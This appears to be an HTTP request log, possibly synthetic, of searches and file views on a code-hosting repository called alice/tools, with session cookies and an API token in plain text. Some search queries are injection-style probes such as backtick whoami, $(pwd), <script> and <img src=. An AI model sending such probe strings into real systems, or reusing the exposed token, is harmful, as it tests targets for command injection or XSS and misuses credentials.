{"method": "GET", "target": "/alice/tools/releases?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/actions/jobs/1/logs?q=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=install-script.sh&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=install-script.sh&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/releases?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=install-script.sh", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/actions/jobs/1/logs?q=install-script.sh", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=release%20notes&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=release%20notes&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/releases?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=release%20notes", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/actions/jobs/1/logs?q=release%20notes", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%2Fbin%2Fsh&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/feat/docker-support?path=&q=%2Fbin%2Fsh&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%2Fbin%2Fsh&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/releases?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/alice/tools/branches?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/-/packages?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=package.json&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/css/repo-branch-tag-selector.d9ca1da2.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=package.json&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/js/repo-branch-tag-selector.f396185d.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=package.json&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=package.json&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=.gitignore&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=.gitignore&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=docker-compose.yml&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=python3&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=ssh%20key&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=ssh%20key&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=feat%2Fdocker-support&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=feat%2Fdocker-support&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=ls%20-la&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=sed%20-i&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=sed%20-i&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%2Fbin%2Fsh&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%60make%20check%60&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%60make%20check%60&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%60whoami%60&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%60whoami%60&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=fetch%28&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=fetch%28&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%24%7BVAR%7D&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%24%7BVAR%7D&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%24%28pwd%29&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%24%28pwd%29&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=process.env&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=process.env&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%3Cimg%20src%3D&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%3Cimg%20src%3D&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%3Cscript%3E&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%3Cscript%3E&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
